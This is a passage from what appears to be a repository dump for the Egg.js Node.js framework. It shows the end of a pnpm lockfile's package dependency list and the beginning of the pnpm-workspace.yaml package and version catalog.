es-errors: 1.3.0\n      function-bind: 1.1.2\n      get-intrinsic: 1.3.0\n      gopd: 1.2.0\n      has-property-descriptors: 1.0.2\n\n  set-function-name@2.0.2:\n    dependencies:\n      define-data-property: 1.1.4\n      es-errors: 1.3.0\n      functions-have-names: 1.2.3\n      has-property-descriptors: 1.0.2\n\n  setprototypeof@1.1.0: {}\n\n  setprototypeof@1.2.0: {}\n\n  shebang-command@1.2.0:\n    dependencies:\n      shebang-regex: 1.0.0\n\n  shebang-command@2.0.0:\n    dependencies:\n      shebang-regex: 3.0.0\n\n  shebang-regex@1.0.0: {}\n\n  shebang-regex@3.0.0: {}\n\n  shiki@3.15.0:\n    dependencies:\n      '@shikijs/core': 3.15.0\n      '@shikijs/engine-javascript': 3.15.0\n      '@shikijs/engine-oniguruma': 3.15.0\n      '@shikijs/langs': 3.15.0\n      '@shikijs/themes': 3.15.0\n      '@shikijs/types': 3.15.0\n      '@shikijs/vscode-textmate': 10.0.2\n      '@types/hast': 3.0.4\n\n  should-send-same-site-none@2.0.5: {}\n\n  side-channel-list@1.0.0:\n    dependencies:\n      es-errors: 1.3.0\n      object-inspect: 1.13.4\n\n  side-channel-map@1.0.1:\n    dependencies:\n      call-bound: 1.0.4\n      es-errors: 1.3.0\n      get-intrinsic: 1.3.0\n      object-inspect: 1.13.4\n\n  side-channel-weakmap@1.0.2:\n    dependencies:\n      call-bound: 1.0.4\n      es-errors: 1.3.0\n      get-intrinsic: 1.3.0\n      object-inspect: 1.13.4\n      side-channel-map: 1.0.1\n\n  side-channel@1.1.0:\n    dependencies:\n      es-errors: 1.3.0\n      object-inspect: 1.13.4\n      side-channel-list: 1.0.0\n      side-channel-map: 1.0.1\n      side-channel-weakmap: 1.0.2\n\n  siginfo@2.0.0: {}\n\n  signal-exit@3.0.7: {}\n\n  signal-exit@4.1.0: {}\n\n  sigstore@1.9.0:\n    dependencies:\n      '@sigstore/bundle': 1.1.0\n      '@sigstore/protobuf-specs': 0.2.1\n      '@sigstore/sign': 1.0.0\n      '@sigstore/tuf': 1.0.3\n      make-fetch-happen: 11.1.1\n    transitivePeerDependencies:\n      - supports-color\n\n  simple-wcswidth@1.1.2: {}\n\n  sirv@3.0.2:\n    dependencies:\n      '@polka/url': 1.0.0-next.29\n      mrmime: 2.0.1\n      totalist: 3.0.1\n\n  sisteransi@1.0.5: {}\n\n  slash@3.0.0: {}\n\n  slash@5.1.0: {}\n\n  slice-ansi@7.1.2:\n    dependencies:\n      ansi-styles: 6.2.3\n      is-fullwidth-code-point: 5.1.0\n\n  smart-buffer@4.2.0: {}\n\n  snake-case@2.1.0:\n    dependencies:\n      no-case: 2.3.2\n\n  socks-proxy-agent@7.0.0:\n    dependencies:\n      agent-base: 6.0.2\n      debug: 4.4.3(supports-color@8.1.1)\n      socks: 2.8.7\n    transitivePeerDependencies:\n      - supports-color\n\n  socks@2.8.7:\n    dependencies:\n      ip-address: 10.0.1\n      smart-buffer: 4.2.0\n\n  source-map-js@1.2.1: {}\n\n  source-map-support@0.5.21:\n    dependencies:\n      buffer-from: 1.1.2\n      source-map: 0.6.1\n\n  source-map@0.6.1: {}\n\n  space-separated-tokens@2.0.2: {}\n\n  spdx-correct@3.2.0:\n    dependencies:\n      spdx-expression-parse: 3.0.1\n      spdx-license-ids: 3.0.22\n\n  spdx-exceptions@2.5.0: {}\n\n  spdx-expression-parse@3.0.1:\n    dependencies:\n      spdx-exceptions: 2.5.0\n      spdx-license-ids: 3.0.22\n\n  spdx-license-ids@3.0.22: {}\n\n  speakingurl@14.0.1: {}\n\n  split@1.0.1:\n    dependencies:\n      through: 2.3.8\n\n  sprintf-js@1.0.3: {}\n\n  sprintf-js@1.1.3: {}\n\n  spy@1.0.0: {}\n\n  sqlstring@2.3.3: {}\n\n  ssri@10.0.6:\n    dependencies:\n      minipass: 7.1.2\n\n  ssri@9.0.1:\n    dependencies:\n      minipass: 3.3.6\n\n  stack-trace@0.0.10: {}\n\n  stackback@0.0.2: {}\n\n  standard-as-callback@2.1.0: {}\n\n  statuses@1.5.0: {}\n\n  statuses@2.0.1: {}\n\n  statuses@2.0.2: {}\n\n  std-env@3.10.0: {}\n\n  stop-iteration-iterator@1.1.0:\n    dependencies:\n      es-errors: 1.3.0\n      internal-slot: 1.1.0\n\n  stream-combiner@0.2.2:\n    dependencies:\n      duplexer: 0.1.2\n      through: 2.3.8\n\n  stream-slice@0.1.2: {}\n\n  stream-wormhole@2.0.1: {}\n\n  streamsearch@1.1.0: {}\n\n  string-argv@0.3.2: {}\n\n  string-width@3.1.0:\n    dependencies:\n      emoji-regex: 7.0.3\n      is-fullwidth-code-point: 2.0.0\n      strip-ansi: 5.2.0\n\n  string-width@4.2.3:\n    dependencies:\n      emoji-regex: 8.0.0\n      is-fullwidth-code-point: 3.0.0\n      strip-ansi: 6.0.1\n\n  string-width@5.1.2:\n    dependencies:\n      eastasianwidth: 0.2.0\n      emoji-regex: 9.2.2\n      strip-ansi: 7.1.2\n\n  string-width@7.2.0:\n    dependencies:\n      emoji-regex: 10.6.0\n      get-east-asian-width: 1.4.0\n      strip-ansi: 7.1.2\n\n  string-width@8.1.0:\n    dependencies:\n      get-east-asian-width: 1.4.0\n      strip-ansi: 7.1.2\n\n  string_decoder@1.3.0:\n    dependencies:\n      safe-buffer: 5.2.1\n\n  stringify-entities@4.0.4:\n    dependencies:\n      character-entities-html4: 2.1.0\n      character-entities-legacy: 3.0.0\n\n  strip-ansi@5.2.0:\n    dependencies:\n      ansi-regex: 4.1.1\n\n  strip-ansi@6.0.1:\n    dependencies:\n      ansi-regex: 5.0.1\n\n  strip-ansi@7.1.2:\n    dependencies:\n      ansi-regex: 6.2.2\n\n  strip-bom-string@1.0.0: {}\n\n  strip-bom@3.0.0: {}\n\n  strip-final-newline@2.0.0: {}\n\n  strip-final-newline@4.0.0: {}\n\n  strip-json-comments@2.0.1: {}\n\n  strip-json-comments@3.1.1: {}\n\n  superagent@10.2.3:\n    dependencies:\n      component-emitter: 1.3.1\n      cookiejar: 2.1.4\n      debug: 4.4.3(supports-color@8.1.1)\n      fast-safe-stringify: 2.1.1\n      form-data: 4.0.5\n      formidable: 3.5.4\n      methods: 1.1.2\n      mime: 2.6.0\n      qs: 6.15.0\n    transitivePeerDependencies:\n      - supports-color\n\n  superjson@2.2.2:\n    dependencies:\n      copy-anything: 3.0.5\n\n  supports-color@10.2.2: {}\n\n  supports-color@5.5.0:\n    dependencies:\n      has-flag: 3.0.0\n\n  supports-color@7.2.0:\n    dependencies:\n      has-flag: 4.0.0\n\n  supports-color@8.1.1:\n    dependencies:\n      has-flag: 4.0.0\n\n  supports-hyperlinks@4.3.0:\n    dependencies:\n      has-flag: 5.0.1\n      supports-color: 10.2.2\n\n  swap-case@1.1.2:\n    dependencies:\n      lower-case: 1.1.4\n      upper-case: 1.1.3\n\n  tabbable@6.3.0: {}\n\n  tagged-tag@1.0.0: {}\n\n  tar@6.2.1:\n    dependencies:\n      chownr: 2.0.0\n      fs-minipass: 2.1.0\n      minipass: 5.0.0\n      minizlib: 2.1.2\n      mkdirp: 1.0.4\n      yallist: 4.0.0\n\n  tcp-base@3.2.0:\n    dependencies:\n      is-type-of: 1.4.0\n      sdk-base: 3.6.0\n\n  terminal-link@5.0.0:\n    dependencies:\n      ansi-escapes: 7.2.0\n      supports-hyperlinks: 4.3.0\n\n  terser@5.44.0:\n    dependencies:\n      '@jridgewell/source-map': 0.3.11\n      acorn: 8.15.0\n      commander: 2.20.3\n      source-map-support: 0.5.21\n    optional: true\n\n  test-exclude@7.0.1:\n    dependencies:\n      '@istanbuljs/schema': 0.1.3\n      glob: 10.5.0\n      minimatch: 9.0.5\n\n  thenify-all@1.6.0:\n    dependencies:\n      thenify: 3.3.1\n\n  thenify@3.3.1:\n    dependencies:\n      any-promise: 1.3.0\n\n  through@2.3.8: {}\n\n  tinybench@2.9.0: {}\n\n  tinyexec@1.0.2: {}\n\n  tinyglobby@0.2.15:\n    dependencies:\n      fdir: 6.5.0(picomatch@4.0.3)\n      picomatch: 4.0.3\n\n  tinypool@2.0.0: {}\n\n  tinyrainbow@3.0.3: {}\n\n  title-case@2.1.1:\n    dependencies:\n      no-case: 2.3.2\n      upper-case: 1.1.3\n\n  tmp@0.2.5: {}\n\n  to-regex-range@5.0.1:\n    dependencies:\n      is-number: 7.0.0\n\n  toidentifier@1.0.1: {}\n\n  tokenx@1.2.1: {}\n\n  totalist@3.0.1: {}\n\n  tree-kill@1.2.2: {}\n\n  treeverse@3.0.0: {}\n\n  trim-lines@3.0.1: {}\n\n  trough@2.2.0: {}\n\n  ts-node@10.9.2(@swc/core@1.15.3)(@types/node@24.10.2)(typescript@5.9.3):\n    dependencies:\n      '@cspotcode/source-map-support': 0.8.1\n      '@tsconfig/node10': 1.0.11\n      '@tsconfig/node12': 1.0.11\n      '@tsconfig/node14': 1.0.3\n      '@tsconfig/node16': 1.0.4\n      '@types/node': 24.10.2\n      acorn: 8.15.0\n      acorn-walk: 8.3.4\n      arg: 4.1.3\n      create-require: 1.1.1\n      diff: 4.0.2\n      make-error: 1.3.6\n      typescript: 5.9.3\n      v8-compile-cache-lib: 3.0.1\n      yn: 3.1.1\n    optionalDependencies:\n      '@swc/core': 1.15.3\n\n  tsconfig-paths@4.2.0:\n    dependencies:\n      json5: 2.2.3\n      minimist: 1.2.8\n      strip-bom: 3.0.0\n\n  tsdown@0.18.2(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(publint@0.3.16)(typescript@5.9.3)(unplugin-unused@0.5.4):\n    dependencies:\n      ansis: 4.2.0\n      cac: 6.7.14\n      defu: 6.1.4\n      empathic: 2.0.0\n      hookable: 6.0.1\n      import-without-cache: 0.2.5\n      obug: 2.1.1\n      picomatch: 4.0.3\n      rolldown: 1.0.0-beta.55\n      rolldown-plugin-dts: 0.19.1(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(rolldown@1.0.0-beta.55)(typescript@5.9.3)\n      semver: 7.7.3\n      tinyexec: 1.0.2\n      tinyglobby: 0.2.15\n      tree-kill: 1.2.2\n      unconfig-core: 7.4.2\n      unrun: 0.2.20\n    optionalDependencies:\n      publint: 0.3.16\n      typescript: 5.9.3\n      unplugin-unused: 0.5.4\n    transitivePeerDependencies:\n      - '@ts-macro/tsc'\n      - '@typescript/native-preview'\n      - oxc-resolver\n      - synckit\n      - vue-tsc\n\n  tslib@2.8.1: {}\n\n  tsscmp@1.0.6: {}\n\n  tsx@4.20.6:\n    dependencies:\n      esbuild: 0.25.12\n      get-tsconfig: 4.13.0\n    optionalDependencies:\n      fsevents: 2.3.3\n\n  tuf-js@1.1.7:\n    dependencies:\n      '@tufjs/models': 1.0.4\n      debug: 4.4.3(supports-color@8.1.1)\n      make-fetch-happen: 11.1.1\n    transitivePeerDependencies:\n      - supports-color\n\n  type-fest@0.21.3: {}\n\n  type-fest@4.41.0: {}\n\n  type-fest@5.1.0:\n    dependencies:\n      tagged-tag: 1.0.0\n\n  type-is@1.6.18:\n    dependencies:\n      media-typer: 0.3.0\n      mime-types: 2.1.35\n\n  type-is@2.0.1:\n    dependencies:\n      content-type: 1.0.5\n      media-typer: 1.1.0\n      mime-types: 3.0.2\n\n  typebox@1.0.65: {}\n\n  typedarray-to-buffer@3.1.5:\n    dependencies:\n      is-typedarray: 1.0.0\n\n  typescript@5.9.3: {}\n\n  uc.micro@2.1.0: {}\n\n  uid-safe@2.1.5:\n    dependencies:\n      random-bytes: 1.0.0\n\n  unconfig-core@7.4.2:\n    dependencies:\n      '@quansync/fs': 1.0.0\n      quansync: 1.0.0\n\n  undici-types@7.16.0: {}\n\n  undici@5.29.0:\n    dependencies:\n      '@fastify/busboy': 2.1.1\n\n  undici@7.16.0: {}\n\n  unescape@1.0.1:\n    dependencies:\n      extend-shallow: 2.0.1\n\n  unicorn-magic@0.3.0: {}\n\n  unified@11.0.5:\n    dependencies:\n      '@types/unist': 3.0.3\n      bail: 2.0.2\n      devlop: 1.1.0\n      extend: 3.0.2\n      is-plain-obj: 4.1.0\n      trough: 2.2.0\n      vfile: 6.0.3\n\n  unique-filename@2.0.1:\n    dependencies:\n      unique-slug: 3.0.0\n\n  unique-filename@3.0.0:\n    dependencies:\n      unique-slug: 4.0.0\n\n  unique-slug@3.0.0:\n    dependencies:\n      imurmurhash: 0.1.4\n\n  unique-slug@4.0.0:\n    dependencies:\n      imurmurhash: 0.1.4\n\n  unist-util-is@6.0.1:\n    dependencies:\n      '@types/unist': 3.0.3\n\n  unist-util-position@5.0.0:\n    dependencies:\n      '@types/unist': 3.0.3\n\n  unist-util-remove@4.0.0:\n    dependencies:\n      '@types/unist': 3.0.3\n      unist-util-is: 6.0.1\n      unist-util-visit-parents: 6.0.2\n\n  unist-util-stringify-position@4.0.0:\n    dependencies:\n      '@types/unist': 3.0.3\n\n  unist-util-visit-parents@6.0.2:\n    dependencies:\n      '@types/unist': 3.0.3\n      unist-util-is: 6.0.1\n\n  unist-util-visit@5.0.0:\n    dependencies:\n      '@types/unist': 3.0.3\n      unist-util-is: 6.0.1\n      unist-util-visit-parents: 6.0.2\n\n  universalify@0.1.2: {}\n\n  unpipe@1.0.0: {}\n\n  unplugin-unused@0.5.4:\n    dependencies:\n      js-tokens: 9.0.1\n      pkg-types: 2.3.0\n      unplugin: 2.3.10\n    optional: true\n\n  unplugin@2.3.10:\n    dependencies:\n      '@jridgewell/remapping': 2.3.5\n      acorn: 8.15.0\n      picomatch: 4.0.3\n      webpack-virtual-modules: 0.6.2\n    optional: true\n\n  unrun@0.2.20:\n    dependencies:\n      rolldown: 1.0.0-beta.55\n\n  upper-case-first@1.1.2:\n    dependencies:\n      upper-case: 1.1.3\n\n  upper-case@1.1.3: {}\n\n  urijs@1.19.11: {}\n\n  urllib@3.27.3:\n    dependencies:\n      default-user-agent: 1.0.0\n      digest-header: 1.1.0\n      form-data-encoder: 1.9.0\n      formdata-node: 4.4.1\n      formstream: 1.5.2\n      mime-types: 2.1.35\n      pump: 3.0.3\n      qs: 6.15.0\n      type-fest: 4.41.0\n      undici: 5.29.0\n      ylru: 1.4.0\n\n  urllib@4.8.2:\n    dependencies:\n      form-data: 4.0.5\n      formstream: 1.5.2\n      mime-types: 2.1.35\n      qs: 6.15.0\n      type-fest: 4.41.0\n      undici: 7.16.0\n      ylru: 2.0.0\n\n  util-deprecate@1.0.2: {}\n\n  utility@1.18.0:\n    dependencies:\n      copy-to: 2.0.1\n      escape-html: 1.0.3\n      mkdirp: 0.5.6\n      mz: 2.7.0\n      unescape: 1.0.1\n\n  utility@2.5.0:\n    dependencies:\n      escape-html: 1.0.3\n      unescape: 1.0.1\n      ylru: 2.0.0\n\n  utils-merge@1.0.1: {}\n\n  uuid@10.0.0: {}\n\n  uuid@13.0.0: {}\n\n  v8-compile-cache-lib@3.0.1: {}\n\n  v8-to-istanbul@9.3.0:\n    dependencies:\n      '@jridgewell/trace-mapping': 0.3.31\n      '@types/istanbul-lib-coverage': 2.0.6\n      convert-source-map: 2.0.0\n\n  validate-npm-package-license@3.0.4:\n    dependencies:\n      spdx-correct: 3.2.0\n      spdx-expression-parse: 3.0.1\n\n  validate-npm-package-name@3.0.0:\n    dependencies:\n      builtins: 1.0.3\n\n  validate-npm-package-name@5.0.1: {}\n\n  validator@13.15.15: {}\n\n  vary@1.1.2: {}\n\n  vfile-message@4.0.3:\n    dependencies:\n      '@types/unist': 3.0.3\n      unist-util-stringify-position: 4.0.0\n\n  vfile@6.0.3:\n    dependencies:\n      '@types/unist': 3.0.3\n      vfile-message: 4.0.3\n\n  vitepress-plugin-llms@1.10.0:\n    dependencies:\n      gray-matter: 4.0.3\n      markdown-it: 14.1.0\n      markdown-title: 1.0.2\n      mdast-util-from-markdown: 2.0.2\n      millify: 6.1.0\n      minimatch: 10.1.1\n      path-to-regexp: 6.3.0\n      picocolors: 1.1.1\n      pretty-bytes: 7.1.0\n      remark: 15.0.1\n      remark-frontmatter: 5.0.0\n      tokenx: 1.2.1\n      unist-util-remove: 4.0.0\n      unist-util-visit: 5.0.0\n    transitivePeerDependencies:\n      - supports-color\n\n  vitepress@2.0.0-alpha.15(@types/node@24.10.2)(axios@1.13.5)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(nprogress@0.2.0)(oxc-minify@0.105.0)(postcss@8.5.6)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(typescript@5.9.3)(yaml@2.8.2):\n    dependencies:\n      '@docsearch/css': 4.3.2\n      '@docsearch/js': 4.3.2\n      '@iconify-json/simple-icons': 1.2.60\n      '@shikijs/core': 3.15.0\n      '@shikijs/transformers': 3.15.0\n      '@shikijs/types': 3.15.0\n      '@types/markdown-it': 14.1.2\n      '@vitejs/plugin-vue': 6.0.1(rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2))(vue@3.5.25(typescript@5.9.3))\n      '@vue/devtools-api': 8.0.5\n      '@vue/shared': 3.5.25\n      '@vueuse/core': 14.0.0(vue@3.5.25(typescript@5.9.3))\n      '@vueuse/integrations': 14.0.0(axios@1.13.5)(focus-trap@7.6.6)(nprogress@0.2.0)(vue@3.5.25(typescript@5.9.3))\n      focus-trap: 7.6.6\n      mark.js: 8.11.1\n      minisearch: 7.2.0\n      shiki: 3.15.0\n      vite: rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n      vue: 3.5.25(typescript@5.9.3)\n    optionalDependencies:\n      oxc-minify: 0.105.0\n      postcss: 8.5.6\n    transitivePeerDependencies:\n      - '@types/node'\n      - async-validator\n      - axios\n      - change-case\n      - drauu\n      - esbuild\n      - fuse.js\n      - idb-keyval\n      - jiti\n      - jwt-decode\n      - less\n      - nprogress\n      - qrcode\n      - sass\n      - sass-embedded\n      - sortablejs\n      - stylus\n      - sugarss\n      - terser\n      - tsx\n      - typescript\n      - universal-cookie\n      - yaml\n\n  vitest@4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2):\n    dependencies:\n      '@vitest/expect': 4.0.15\n      '@vitest/mocker': 4.0.15(rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2))\n      '@vitest/pretty-format': 4.0.15\n      '@vitest/runner': 4.0.15\n      '@vitest/snapshot': 4.0.15\n      '@vitest/spy': 4.0.15\n      '@vitest/utils': 4.0.15\n      es-module-lexer: 1.7.0\n      expect-type: 1.3.0\n      magic-string: 0.30.21\n      obug: 2.1.1\n      pathe: 2.0.3\n      picomatch: 4.0.3\n      std-env: 3.10.0\n      tinybench: 2.9.0\n      tinyexec: 1.0.2\n      tinyglobby: 0.2.15\n      tinyrainbow: 3.0.3\n      vite: rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n      why-is-node-running: 2.3.0\n    optionalDependencies:\n      '@types/node': 24.10.2\n      '@vitest/ui': 4.0.15(vitest@4.0.15)\n    transitivePeerDependencies:\n      - esbuild\n      - jiti\n      - less\n      - msw\n      - sass\n      - sass-embedded\n      - stylus\n      - sugarss\n      - terser\n      - tsx\n      - yaml\n\n  vue@3.5.25(typescript@5.9.3):\n    dependencies:\n      '@vue/compiler-dom': 3.5.25\n      '@vue/compiler-sfc': 3.5.25\n      '@vue/runtime-dom': 3.5.25\n      '@vue/server-renderer': 3.5.25(vue@3.5.25(typescript@5.9.3))\n      '@vue/shared': 3.5.25\n    optionalDependencies:\n      typescript: 5.9.3\n\n  walk-up-path@3.0.1: {}\n\n  wcwidth@1.0.1:\n    dependencies:\n      defaults: 1.0.4\n\n  web-streams-polyfill@4.0.0-beta.3: {}\n\n  webpack-virtual-modules@0.6.2:\n    optional: true\n\n  whatwg-encoding@3.1.1:\n    dependencies:\n      iconv-lite: 0.6.3\n\n  whatwg-mimetype@4.0.0: {}\n\n  which-boxed-primitive@1.1.1:\n    dependencies:\n      is-bigint: 1.1.0\n      is-boolean-object: 1.2.2\n      is-number-object: 1.1.1\n      is-string: 1.1.1\n      is-symbol: 1.1.1\n\n  which-collection@1.0.2:\n    dependencies:\n      is-map: 2.0.3\n      is-set: 2.0.3\n      is-weakmap: 2.0.2\n      is-weakset: 2.0.4\n\n  which-module@2.0.1: {}\n\n  which-typed-array@1.1.19:\n    dependencies:\n      available-typed-arrays: 1.0.7\n      call-bind: 1.0.8\n      call-bound: 1.0.4\n      for-each: 0.3.5\n      get-proto: 1.0.1\n      gopd: 1.2.0\n      has-tostringtag: 1.0.2\n\n  which@1.3.1:\n    dependencies:\n      isexe: 2.0.0\n\n  which@2.0.2:\n    dependencies:\n      isexe: 2.0.0\n\n  which@3.0.1:\n    dependencies:\n      isexe: 2.0.0\n\n  why-is-node-running@2.3.0:\n    dependencies:\n      siginfo: 2.0.0\n      stackback: 0.0.2\n\n  wide-align@1.1.5:\n    dependencies:\n      string-width: 4.2.3\n\n  widest-line@3.1.0:\n    dependencies:\n      string-width: 4.2.3\n\n  win-release@1.1.1:\n    dependencies:\n      semver: 5.7.2\n\n  wordwrap@1.0.0: {}\n\n  workerpool@9.3.4: {}\n\n  wrap-ansi@5.1.0:\n    dependencies:\n      ansi-styles: 3.2.1\n      string-width: 3.1.0\n      strip-ansi: 5.2.0\n\n  wrap-ansi@7.0.0:\n    dependencies:\n      ansi-styles: 4.3.0\n      string-width: 4.2.3\n      strip-ansi: 6.0.1\n\n  wrap-ansi@8.1.0:\n    dependencies:\n      ansi-styles: 6.2.3\n      string-width: 5.1.2\n      strip-ansi: 7.1.2\n\n  wrap-ansi@9.0.2:\n    dependencies:\n      ansi-styles: 6.2.3\n      string-width: 7.2.0\n      strip-ansi: 7.1.2\n\n  wrappy@1.0.2: {}\n\n  write-file-atomic@3.0.3:\n    dependencies:\n      imurmurhash: 0.1.4\n      is-typedarray: 1.0.0\n      signal-exit: 3.0.7\n      typedarray-to-buffer: 3.1.5\n\n  write-file-atomic@5.0.1:\n    dependencies:\n      imurmurhash: 0.1.4\n      signal-exit: 4.1.0\n\n  ws@8.19.0:\n    optional: true\n\n  xml2js@0.6.2:\n    dependencies:\n      sax: 1.4.3\n      xmlbuilder: 11.0.1\n\n  xmlbuilder@11.0.1: {}\n\n  xss@1.0.15:\n    dependencies:\n      commander: 2.20.3\n      cssfilter: 0.0.10\n\n  y18n@4.0.3: {}\n\n  y18n@5.0.8: {}\n\n  yallist@4.0.0: {}\n\n  yaml@2.8.2: {}\n\n  yargs-parser@13.1.2:\n    dependencies:\n      camelcase: 5.3.1\n      decamelize: 1.2.0\n\n  yargs-parser@21.1.1: {}\n\n  yargs-unparser@2.0.0:\n    dependencies:\n      camelcase: 6.3.0\n      decamelize: 4.0.0\n      flat: 5.0.2\n      is-plain-obj: 2.1.0\n\n  yargs@13.3.2:\n    dependencies:\n      cliui: 5.0.0\n      find-up: 3.0.0\n      get-caller-file: 2.0.5\n      require-directory: 2.1.1\n      require-main-filename: 2.0.0\n      set-blocking: 2.0.0\n      string-width: 3.1.0\n      which-module: 2.0.1\n      y18n: 4.0.3\n      yargs-parser: 13.1.2\n\n  yargs@17.7.2:\n    dependencies:\n      cliui: 8.0.1\n      escalade: 3.2.0\n      get-caller-file: 2.0.5\n      require-directory: 2.1.1\n      string-width: 4.2.3\n      y18n: 5.0.8\n      yargs-parser: 21.1.1\n\n  ylru@1.4.0: {}\n\n  ylru@2.0.0: {}\n\n  yn@3.1.1: {}\n\n  yocto-queue@0.1.0: {}\n\n  yoctocolors@2.1.2: {}\n\n  zod-to-json-schema@3.25.1(zod@3.25.76):\n    dependencies:\n      zod: 3.25.76\n\n  zod-to-json-schema@3.25.1(zod@4.3.6):\n    dependencies:\n      zod: 4.3.6\n\n  zod@3.25.76: {}\n\n  zod@4.3.6: {}\n\n  zwitch@2.0.4: {}\n"
  },
  {
    "path": "pnpm-workspace.yaml",
    "content": "packages:\n  - packages/*\n  - plugins/*\n  - examples/*\n  - tools/*\n  - site\n  - tegg/core/*\n  - tegg/plugin/*\n  - tegg/standalone/*\n\ncatalog:\n  '@clack/prompts': ^0.11.0\n  '@eggjs/compressible': ^3.0.0\n  '@eggjs/cookies': ^3.1.0\n  '@eggjs/ip': ^2.1.0\n  '@eggjs/rds': ^1.5.0\n  '@eggjs/redis': ^3.0.0\n  '@eggjs/scripts': ^4.0.0\n  '@fengmk2/ps-tree': ^2.0.1\n  '@oclif/core': ^4.2.0\n  '@oxc-node/core': ^0.0.35\n  typebox: ^1.0.65\n  '@swc-node/register': ^1.11.1\n  '@swc/core': ^1.15.1\n  '@types/accepts': ^1.3.7\n  '@types/body-parser': ^1.19.5\n  '@types/bytes': ^3.1.5\n  '@types/common-tags': ^1.8.4\n  '@types/content-disposition': ^0.5.8\n  '@types/content-type': ^1.1.8\n  '@types/cookie-parser': ^1.4.8\n  '@types/cookies': ^0.9.0\n  '@types/cross-spawn': ^6.0.6\n  '@types/destroy': ^1.0.3\n  '@types/encodeurl': ^1.0.2\n  '@types/escape-html': ^1.0.4\n  '@types/express': ^5.0.0\n  '@types/extend': ^3.0.4\n  '@types/fresh': ^0.5.2\n  '@types/fs-readdir-recursive': ^1.1.3\n  '@types/http-errors': ^2.0.4\n  '@types/ini': ^4.1.1\n  '@types/js-beautify': ^1.14.3\n  '@types/js-yaml': ^4.0.9\n  '@types/koa-bodyparser': ^4.3.12\n  '@types/koa-compose': ^3.2.8\n  '@types/koa-range': ^0.3.5\n  '@types/lodash': ^4.17.20\n  '@types/lodash.snakecase': ^4.1.9\n  '@types/methods': ^1.1.4\n  '@types/mime-types': ^3.0.0\n  '@types/mocha': ^10.0.10\n  '@types/mustache': ^4.2.5\n  '@types/node': ^24.10.2\n  '@types/nunjucks': ^3.2.6\n  '@types/on-finished': ^2.3.4\n  '@types/parseurl': ^1.3.3\n  '@types/pluralize': ^0.0.33\n  '@types/safe-timers': ^1.1.2\n  '@types/sqlstring': ^2.3.2\n  '@types/stack-trace': ^0.0.33\n  '@types/statuses': ^2.0.5\n  '@types/superagent': ^8.1.9\n  '@types/type-is': ^1.6.6\n  '@types/urijs': ^1.19.25\n  '@types/vary': ^1.1.3\n  '@typescript/native-preview': 7.0.0-dev.20260117.1\n  '@vitest/coverage-v8': ^4.0.15\n  '@vitest/ui': ^4.0.15\n  accepts: ^1.3.8\n  address: '2'\n  ajv: ^8.8.2\n  ajv-formats: ^2.1.1\n  ajv-keywords: ^5.1.0\n  assert-file: '1'\n  await-event: '2'\n  await-first: ^1.0.0\n  beautify-benchmark: ^0.2.4\n  benchmark: ^2.1.4\n  body-parser: ^2.0.0\n  bytes: ^3.1.2\n  c8: ^10.1.3\n  cache-content-type: ^2.0.0\n  camelcase: ^9.0.0\n  cfork: ^2.0.0\n  chalk: ^5.4.1\n  cheerio: ^1.0.0\n  ci-parallel-vars: ^1.0.1\n  circular-json-for-egg: ^1.0.0\n  cluster-client: ^3.7.0\n  cluster-reload: ^2.0.0\n  co-busboy: ^2.0.1\n  coffee: '5'\n  common-tags: ^1.8.2\n  content-disposition: ~1.0.0\n  content-type: ^1.0.5\n  cookie: ^1.0.2\n  cookie-parser: ^1.4.6\n  cookies: ^0.9.1\n  cpy: ^12.0.0\n  cpy-cli: ^6.0.0\n  cron-parser: ^4.9.0\n  cross-env: ^10.0.0\n  cross-spawn: ^7.0.6\n  csrf: ^3.1.0\n  dayjs: ^1.11.13\n  debounce: ^3.0.0\n  destroy: ^1.0.4\n  detect-port: ^2.1.0\n  egg-errors: ^2.3.0\n  egg-logger: ^3.5.0\n  egg-plugin-puml: ^2.4.0\n  egg-view-nunjucks: ^2.3.0\n  encodeurl: ^2.0.0\n  esbuild: ^0.27.0\n  esbuild-register: ^3.6.0\n  escape-html: ^1.0.3\n  execa: ^9.6.0\n  express: ^4.21.2\n  extend: ^3.0.2\n  extend2: ^4.0.0\n  formstream: ^1.5.1\n  fresh: ~0.5.2\n  fs-readdir-recursive: ^1.1.0\n  gals: '1'\n  get-ready: ^3.1.0\n  glob: ^11.0.0\n  globby: ^11.0.2\n  graceful: ^2.0.0\n  graceful-process: ^2.0.0\n  http-errors: ^2.0.0\n  humanize-ms: ^2.0.0\n  husky: ^9.1.7\n  inflection: ^3.0.0\n  ini: ^6.0.0\n  iconv-lite: ^0.6.3\n  ioredis: ^5.4.2\n  ioredis-mock: ^8.13.1\n  is-type-of: ^2.2.0\n  jest-changed-files: ^30.0.0\n  js-beautify: ^1.15.3\n  js-yaml: ^4.1.1\n  jsonp-body: ^2.0.0\n  keygrip: ^1.0.2\n  koa-bodyparser: ^4.4.1\n  koa-compose: ^4.1.0\n  koa-onerror: ^5.0.1\n  koa-override: ^4.0.0\n  koa-range: ^0.3.0\n  koa-session: ^7.0.2\n  koa-static: ^5.0.0\n  leoric: ^2.12.2\n  lint-staged: ^16.2.7\n  lodash: ^4.17.21\n  lodash.snakecase: ^4.1.1\n  marked: ^17.0.0\n  matcher: ^4.0.0\n  merge-descriptors: ^2.0.0\n  methods: ^1.1.2\n  mime-types: ^3.0.0\n  mm: ^4.0.2\n  mocha: ^11.7.5\n  moment: ^2.30.1\n  mri: ^1.2.0\n  multimatch: ^7.0.0\n  mustache: 